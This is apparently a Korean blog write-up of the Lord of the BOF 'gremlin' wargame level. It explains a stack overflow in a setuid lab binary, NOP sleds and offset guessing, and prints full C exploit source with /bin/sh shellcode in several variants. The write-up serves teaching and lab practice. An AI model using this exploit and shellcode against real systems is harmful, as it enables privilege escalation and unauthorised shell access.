반응형

 

현재 gate 디렉터리에 있는 파일들을 보면 gremlin과 gremlin.c 파일이 있는데, gremlin은 level2 사용자인 gremlin 권한으로 빌드된 파일이다.

 

gremlin.c는 gremlin의 소스코드이므로 소스코드를 참고할 수 있다.

 

gremlin 파일에 공격을 하여 성공하면 gremlin 계정의 패스워드를 얻을 수 있고, 바로 gremlin 계정으로 로그인 할 수 있다.

 


문제 파일 소스코드 확인 

 

gremlin의 소스코드를 보면 위와 같은데

 

buffer의 크기는 256byte이고, 프로그램을 실행할 때 사용자가 입력값을 인자로 넘기도록 되어 있으며, 사용자가 넘긴 입력값을 그대로 buffer에 복사하고 buffer의 내용을 출력한다.

 

한 마디로 사용자가 입력한 값을 버퍼에 담았다가 출력하는 것이다.

 

하지만 여기서 bof 취약점이 있는데, 사용자가 입력한 값의 길이나 다른 검증 없이 바로 buffer에 담기 때문에 RET 부분이 덮어씌워질 수 있다.

 


dummy값 확인

 

gdq를 이용해 dummy 값을 확인해보면 스택 공간을 0x100(256)만큼 확보하고 있고, buffer의 크기는 256이므로 dummy 값이 없다는 것을 확인할 수 있다.

낮은 주소
buffer[256]
SFP
RET
높은 주소

 

스택 구조를 표현하면 위와 같다.

 

그렇다면 사용자가 256byte를 입력하면 buffer 변수를 꽉 채울 수 있고, 260byte를 입력하면 SFP 부분을 침범해 값을 덮어씌우고, 264byte를 입력하면 RET 부분까지 덮어씌울 수 있다.


공격

 

공격 이론은 이렇다.

 

buffer[256]의 공간이 셸코드를 넣고도 충분히 남는 공간이므로 buffer[256]에 셸코드를 넣고, buffer[256]의 시작 주소를 RET 부분에 덮어씌우면 gremlin 프로세스의 main() 함수가 종료될 때 RET 부분이 buffer[256]가 위치했던 공간의 시작 주소로 덮어씌워져 있으므로 해당 주소로 반환되어 실행 흐름이 흘러갈 것이고, 셸코드를 만나 셸이 떨어질 것이다.

 

즉, buffer[256]에 담기는 값은 "셸코드 + (buffer[256]의 시작 주소(4byte) * n)"형태일 것이다.

 

그리고 이때 떨어지는 셸은 gremlin 계정의 셸이므로 gremlin의 패스워드를 얻을 수 있다.

 

하지만 여기서 buffer[256]에 셸코드를 넣고 buffer[256] 공간의 시작 주소를 정확하게 구해 공격을 하려면 공격 하기 전에 시작 주소가 메모리 상에서 어디에 위치하는지 미리 알고있어야 하는데, 스택이 동적으로 변하기 때문에 실제로 공격할 때 정확한 시작 주소를 미리 알고 있기가 어렵다.

 

그래서 NOP sled(썰매) 기법을 이용하는데, 이는 buffer[256]의 크기가 셸코드를 넣고도 남는 공간이므로 공격 성공률을 높이기 위해 셸코드 앞에 NOP 어셈블리 명령을 추가하는것이다.

 

NOP는 no operation의 줄임말이며, 어셈블리 명령어이다.

이 명령은 1byte로 되어 있고, 실제로 딱히 뭔가를 수행하는 명령은 아니지만,
컴퓨터 내부에서 타이밍을 맞추기 위해 내부 사이클을 소모하는 데 쓰이거나
스팍(sparc) 프로세서에서 명령 파이프라이닝을 하는 데 쓰인다.

그리고 지금의 경우에는 정확한 시작 주소를 알 수 없으므로 오차 범위를 줄이기 위해,
즉 공격 성공률을 높이기 위해 사용한다.

 

셸코드 앞에 다량의 NOP 명령을 추가하면 "(NOP * n) + 셸코드 + (buffer[256]의 시작 주소(4byte) * n)"와 같은 형태가 될 것이고, 이렇게 되면 RET 부분에 buffer[256]의 정확한 시작 주소를 덮어씌우는 것 대신 buffer[256]에 있는 NOP 명령들의 공간 중 이 공간에 속한 어떠한 주소를 덮어씌움으로써 EIP를 다량의 NOP가 있는 공간 중 아무 곳이나 가리키게 하고, EIP는 가리키는 주소에 있는 NOP 명령을 시작으로 하여 하나씩 따라가며 흘러가다가 셸코드를 만나 셸코드를 실행할 것이므로 공격 성공률이 높아지는 것이다.

 

그리고 이때 공격 스크립트의 형태는 "(NOP * n) + 셸코드+ (buffer[256] 공간 안에서 NOP 값이 있는 주소(4byte) * n)" 이다.

 

NOP sled 기법을 이용해 buffer[256]의 정확한 시작 주소를 구하지 않아도 셸코드가 실행될 수 있도록 성공률은 높였지만, 그래도 NOP가 위치한 버퍼의 대략적인 위치는 미리 추측해야 한다.

 

메모리 위치를 추측하는 방법들 중 한가지는 주위의 스택 위치를 참조할 포인트, 즉 기준으로 이용하는 것이고, 이 기준이 되는 스택 위치에서 어떤 offset 값을 빼면 모든 변수의 상대적인 주소를 구할 수 있다.

 

이제 위의 공격 이론들을 공격 스크립트에 반영해보면

 

exploit.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[] = "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

int main(int argc, char **argv)
{
        unsigned int i, ret, offset=540;
        char *command, *buffer;

        command = (char *)malloc(300);
        memset(command, 0, 300);

        strcpy(command, "./gremlin \'");
        buffer = command + strlen(command);

        if(argc > 1)
                offset = atoi(argv[1]);

        printf("i : %p\n", &i);
        ret = (unsigned int)&i - offset;
        printf("offset : %d\n", offset);
        printf("ret : %p\n", ret);

        for(i = 0; i < 268; i+=4)
                *((unsigned int *)(buffer+i)) = ret;

        memset(buffer, 0x90, 60);
        memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

        printf("command len : %d\n", strlen(command));
        strcat(command, "\'");

        system(command);
        free(command);

        return 0;
}

 

위와 같다.

 

1. i, ret, offset, command, buffer 변수를 선언하고, offset은 541로 초기화한다.

 

2. gremlin에서는 사용자의 입력값을 프로그램 인자로 받는다. 그렇기 때문에 위의 공격 코드에서 command와 buffer는 system() 함수에 넘길 인자를 만들기 위한 힙 메모리 포인터 변수이다.

최종적으로는 command가 공격 스크립트의 첫 부분을 가리키도록 되어 있어서 command를 넘기지만, buffer가 gremlin을 실행할 때 넘길 인자 부분, 즉 사용자 입력값 부분의 주소를 가리키기 때문에 buffer를 이용해 작업하는 것이다.

command가 가리키는 공간은 300byte짜리 힙 공간이고, 현재 "./gremlin '"(11byte)로 시작한다.

buffer가 가리키는 공간은 command가 가리키는 공간이랑 같은 공간인데,
"./gremlin '"(11byte) 다음에 있는 주소를 가리키기 때문에 buffer가 가리키는 공간은 289byte이다.

 

3. 현재 buffer가 가리키는 공간에는 아무런 값도 없는데, for문과 memset() 그리고 memcpy로 buffer가 가리키는 공간에 값을 채운다.

먼저, 기준이 될 스택 위치를 변수 i의 주소로 잡고, i의 주소에서 offset 값만큼을 뺀 값을 buffer가 가리키는 주소에 264byte만큼 채운다.

이때 offset 값은 임의로 정해진 541값을 사용해도 되고, 임의의 값을 인자로 넘겨 정할 수 있다.

for문을 268번 반복하는 이유는 gremlin의 스택 구조가 이전에 확인했던 것처럼 
buffer[256] + SFP[4] + RET[4] 이므로 총 264byte이기 때문에 264번만 반복해도 충분하다.

4씩 증가시키는 이유는 i의 주소에서 offset만큼 뺀 값도 주소이므로 4byte이기 때문이다.

그리고 여기서 한가지 인지해야 할 점은 buffer의 값을 증가시키는 게 아닌 i의 값을 증가시키기 때문에 buffer의 값은 변함이 없다.

 

buffer(289byte)
(&i - offset) * 66 = 264byte

 

그러면 buffer가 가리키는 공간은 현재 i의 주소에서 offset 값을 뺀 값으로 264byte만큼 채워져 있을 것이다.

(i의 주소 - offset값 = 0x08040000이라고 했을 때, 264/4 = 66이므로 buffer가 가리키는 공간은 0x08040000이 66번 채워져 있다는 것이다.)

 

buffer(289byte)
0x90 * 60 = 60byte (&i - offset) * 51 = 204byte

 

여기에 memset()함수로 buffer가 가리키는 주소부터 60byte만큼 nop에 해당하는 op code인 0x90으로  초기화 한다.

 

그러면 buffer가 가리키는 공간의 값은 위와 같다.

 

buffer(289byte)
0x90 * 60 = 60byte shellcode(25byte) (&i - offset) * 44 = 176byte ... 3byte

 

그리고 이어서 memcpy로 buffer+60 주소 부분에 셸코드를 복사하는데, 현재 사용하는 셸코드의 크기는 25byte이다.

 

memcpy까지 실행되고 나면 buffer가 가리키는 공간의 값은 위와 같을 것이다.

 

왜 176byte + 3byte인지는 아래의 gdb로 메모리를 확인하는 부분에서 확인한다.

 

command(300byte)
./gremlin '(0x90 * 60) + shellcode + ((buffer[256]의 공간에 속한 주소) * 44)'

 

4. 마지막으로 strcat() 함수로 "\'"을 붙여준 다음 system() 함수를 호출하는데 이때 command를 넘긴다.

 

그러면 최종적으로 위와 같은 형태의 명령이 system() 함수의 인자로 넘어가는 것이다.

 

exploit

 

exploit.c를 컴파일하여 인자 없이 미리 정해져 있는 offset 값을 사용해 공격하면 위와 같이 셸이 떨어지고, gremlin의 패스워드를 얻을 수 있다.

 

exploit 프로그램은 i의 주소와 &i - offset 값을 출력해주는데, 여기서 &i - offset은 0xbffffd24 - 540으로 0xbffff07 값이고, 이 값은 gremlin의 buffer[256]에 NOP 값이 있는 범위에 속하는 주소이다.

 

gdb에서 command와 buffer 내용 확인

 

먼저 command의 내용을 확인하기 전에 buffer의 내용을 확인해본다.

 

gdb로 exploit 프로그램을 열어 0x80486a7 주소의 memcpy() 함수 호출 부분에 bp를 걸고 실행한다.

 

그리고 스택을 보면 memcpy() 함수의 인자가 들어가 있는데 memcpy() 함수는 3개의 인자를 받고, 현재 스택에 있는 값들 중 buffer+60에 해당하는 값은 0x08049917이며, 이 값에 60을 뺀 주소가 buffer의 주소이다.

 

 

0x80498DB 주소의 힙 공간을 보면 위와 같이 "0x90 + ret의 값" 형태로 되어 있는데, 아직 shellcode를 넣지 않는 지금 0x804992f 주소의 값은 위와 같다.

 

 

"ni" 명령으로 memcpy() 함수를 호출하고 나면 위와 같이 buffer가 가리키는 힙 공간에 있는 값이 "0x90 + shellcode + ret의 값" 형태로 된다.

 

이제는 shellcode를 넣었고, shellcode의 크기는 25byte이기 때문에 0x804992f 주소의 값이 위에서와는 달리 0xbffffb80이 되었다.

즉, 1byte가 침범된 것인다.

 

하지만 RET 부분에 덮어씌우는 부분이 침범된 것이 아니기 때문에 공격하는데에는 큰 문제가 되지 않는다.

 

다만 원래는 0xbffffb08값이 45번 입력되어야 하지만 1byte 침범으로 인해 180byte 중 176byte만 정확히 0xbffffb08값이 써지고 나머지 4byte 중 1byte가 침범되어 3byte가 남게 된 것이다.

 

 

 

이어서 system() 함수를 호출하는 0x80486e0 주소에 bp를 걸고 'c' 명령으로 실행한다.

 

그리고 스택을 보면 command가 가리키는 주소 0x080498d0이 스택에 들어가있다.

 

이전에 위에서 buffer가 가리키는 주소는 0x80498DB였는데 0x80498db - 0x80498d0은 b로 이는 10진수로 11이다.

 

그리고 이 11은 "./gremlin '"의 길이이다.

 

 

0x080498d0의 값을 보면 위와 같이 공격 스크립트가 들어가있고, "0x90 + shellcode + ret의 값" 형태인 것을 확인할 수 있다.

 

0x080498d0을 기준으로 스택을 보면 RET 부분을 덮는 부분이 0x27로 덮어씌워진 것 같지만, 0x080498db를 기준으로 스택을 보면 덮어씌워짐 없이 잘 들어가 있는 것을 확인할 수 있다.

 

 

이어서 "ni" 명령으로 system() 함수를 호출하면 셸이 떨어진다.

 

낮은 주소
buffer[256]
SFP
RET
argc
argv
ENV
buffer
command
offset
ret
i
SFP
RET
argc
argv
ENV
높은 주소

 

exploit 프로그램을 실행하여 gremlin에 인자를 주어 system() 함수로 실행했을 때 스택을 이론상 그림으로 표현하면 위와 같다.

 

물론 이론상의 스택 구조이기 때문에 실제 스택에서는 exploit의 스택 프레임과 gremlin의 스택 프레임 사이의 공간이 얼마나 될 지는 모른다.


offset 값 구하기

 

위의 exploit.c 코드에서 main() 스택 프레임의 변수 i의 주소가 참조할 포인트, 즉 기준 주소로 사용됐고, 이 값에서 offset 값을 뺀 값이 ret 변수에 들어가는 리턴 주소인데, offset 값은 540으로 임의로 정해뒀다.

 

그런데 이 540이라는 값은 여러 번의 실험을 통해 구한 값이다.

 

디버거로 메모리를 살짝 shift하여 실험할 수도 있겠지만, 디버거를 사용하는 것은 이 경우에는 유용하지 않다.

 

exploit.c 코드에서는 offset 변수의 값을 정의하기 위해 옵션으로 커맨드라인 인자를 지원하고 있기 때문에 offset 값을 달리하면서 빠르게 테스트할 수 있다.

 

 

위와 같이 bash shell의 for 루프를 이용하면 offset이 480일 때 &i - 480의 결과에 해당하는 주소를 RET 부분에 덮어씌움으로써 셸을 딸 수 있는 것을 확인할 수 있다.

 

이는 &i - 480의 결과에 해당하는 주소가 buffer[256]에 있는 NOP 부분이나 shellcode 주소에 해당한다는 것이다.

 

만약 NOP 부분의 주소라면 NOP를 따라 흘러가다 shellcode를 만나실행된 것이고, shellcode 부분의 주소라면 &i - 480의 결과로 나온 주소는 buffer[256]에 담긴 shellcode의 정확한 시작 주소라는 것이다.

 


정확한 shellcode의 위치 구하기

 

더 정확하게 buffer[256]에 있는 shellcode의 시작 주소를 구하기 위해 위와 같이 이전보다 범위를 좁혀 400부터 480까지 10씩 증가하도록 하여 for문을 돌리면 470에서 셸이 떨어지는 것을 확인할 수 있다.

 

 

이번에는 더 범위를 좁혀 10 단위씩 끊어서 1씩 증가하도록 하여 for문을 돌린다.

 

그러면 운이 좋게도 첫 10 단위의 464에서 셸이 떨어지는데, 그렇다면 &i - 464의 주소가 buffer[256] 안에 있는 shellcode의 시작 주소라는 것이다.

 

 

위의 사진을 보면 offset 값으로 463을 설정하니 셸이 떨어지지 않았다.

 

그렇다면 &i - 464의 주소가 buffer[256] 안에 있는 shellcode의 시작 주소라는 것이다.

 

참고) 465, 466, 467 등은 당연히 NOP 부분이기 때문에 실행될 것이다.

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[] = "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

int main(int argc, char **argv)
{
        unsigned int i, ret, offset=540;
        char *command, *buffer;

        command = (char *)malloc(300);
        memset(command, 0, 300);

        strcpy(command, "./gremlin \'");
        buffer = command + strlen(command);

        if(argc > 1)
                offset = atoi(argv[1]);

        printf("i : %p\n", &i);
        ret = (unsigned int)&i - offset;
        printf("offset : %d\n", offset);
        printf("ret : %p\n", ret);

        for(i = 0; i < 264; i+=4)
                *((unsigned int *)(buffer+i)) = ret;

        //memset(buffer, 0x90, 60);
        memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

        printf("command len : %d\n", strlen(command));
        strcat(command, "\'");

        system(command);
        free(command);

        return 0;
}
gcc -o exploit exploit.c

 

exploit.c의 코드를 위와 같이 memset() 함수 부분을 주석 처리하여 shellcode 전에 있는 NOP를 없앤다.

 

 

offset 값을 465로 하여 공격하면 원래는 NOP 덕분에 셸이 떨어졌어야 하는 offset이지만 이제는 NOP가 없기 때문에 셸이 떨어지지 않는다.


buffer[256]의 시작 위치 구하기

 

 exploit.c 코드에서 memset() 함수 부분의 주석을 없애주고 다시 컴파일한다.

 

 위에서 buffer[256] 안에 있는 shellcode의 시작 주소는 &i-464였다.

 

 

그렇다면 shellcode 전에 NOP 값들이 60개가 있고, 이 NOP 값들은 buffer[256]의 시작 부분부터 있기 때문에 464 + 60 = 524를 offset으로 넘기면 buffer[256]의 시작 부분의 주소를 가리키는 것이 될 것이고, 당연히 셸이 떨어질 것이다.

 

 

 offset 값으로 525를 주면 어떨까

 

위에서 확인할 수 있는 것처럼 셸이 떨어진다.

 

 

그렇다면 526은 어떨까

 

위의 사진을 참고하면 셸이 안 떨어지는 것을 보니 &i - 524의 주소가 buffer[256]의 시작 주소이지만, &i - 525의 주소도 셸이 떨어진다.

 


시행착오

buffer[256]의 주소 확인

/*
	The Lord of the BOF : The Fellowship of the BOF
	- gremlin
	- simple BOF
*/

int main(int argc, char *argv[])
{
    char buffer[256];
	printf("buffer[256] : %p\n", buffer);
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}
gcc -o gremlin2 gremlin2.c

 

gremlin.c를 gremlin2.c로 복사해 gremlin2.c에 buffer[256]의 주소를 출력하도록 했다.

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[] = "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

int main(int argc, char **argv)
{
        unsigned int i, ret, offset=540;
        char *command, *buffer;

        command = (char *)malloc(300);
        memset(command, 0, 300);

        strcpy(command, "./gremlin2 \'");
        buffer = command + strlen(command);

        if(argc > 1)
                offset = atoi(argv[1]);

        printf("i : %p\n", &i);
        ret = (unsigned int)&i - offset;
        printf("offset : %d\n", offset);
        printf("ret : %p\n", ret);

        for(i = 0; i < 264; i+=4)
                *((unsigned int *)(buffer+i)) = ret;

        memset(buffer, 0x90, 60);
        memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

        printf("command len : %d\n", strlen(command));
        strcat(command, "\'");

        system(command);
        free(command);

        return 0;
}
gcc -o exploit exploit.c

 

exploit.c에서도 gremlin이 아닌 gremlin2를 실행하도록 했다.

 

 

수정된 exploit을 실행하면 위와 같은 결과를 얻을 수 있다.

 

buffer[256]의 주소를 구했으니 exploit.c의 코드를 다시 원상복구하여 gremlin을 실행하도록 한다.

 

1. 하드코딩으로 offset의 값을 540이 아닌 541로 설정해도 셸이 떨어진다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[] = "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

int main(int argc, char **argv)
{
        unsigned int i, ret, offset=541;
        char *command, *buffer;

        command = (char *)malloc(300);
        memset(command, 0, 300);

        strcpy(command, "./gremlin \'");
        buffer = command + strlen(command);

        if(argc > 1)
                offset = atoi(argv[1]);

        printf("i : %p\n", &i);
        ret = (unsigned int)&i - offset;
        printf("offset : %d\n", offset);
        printf("ret : %p\n", ret);

        for(i = 0; i < 264; i+=4)
                *((unsigned int *)(buffer+i)) = ret;

        memset(buffer, 0x90, 60);
        memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

        printf("command len : %d\n", strlen(command));
        strcat(command, "\'");

        system(command);
        free(command);

        return 0;
}
gcc -o exploit exploit.c

 

단, 하드코딩으로 offset 값을 542로 주면 셸이 떨어지지 않는다.

 

2. 하드코딩 때 설정했던 offset 값 540을 커맨드라인 인자로 넘겨 실행하면 셸이 떨어지지 않는다.

 

540과 524의 차이는 16이다.

 

하드코딩일 때는 &i - 540을 해야 buffer[256]의 시작 주소이고, 커맨드라인 인자일 때는 &i - 524를 해야 buffer[256]의 시작 주소라는 것이다.

 

왜 다를까?

왜 하드코딩일 때는 더 큰 offset 값을 뺄까 ??

왜 커맨드라인 인자로 offset 값을 설정하면 더 작은 offset 값을 뺄까??

반응형

+ Recent posts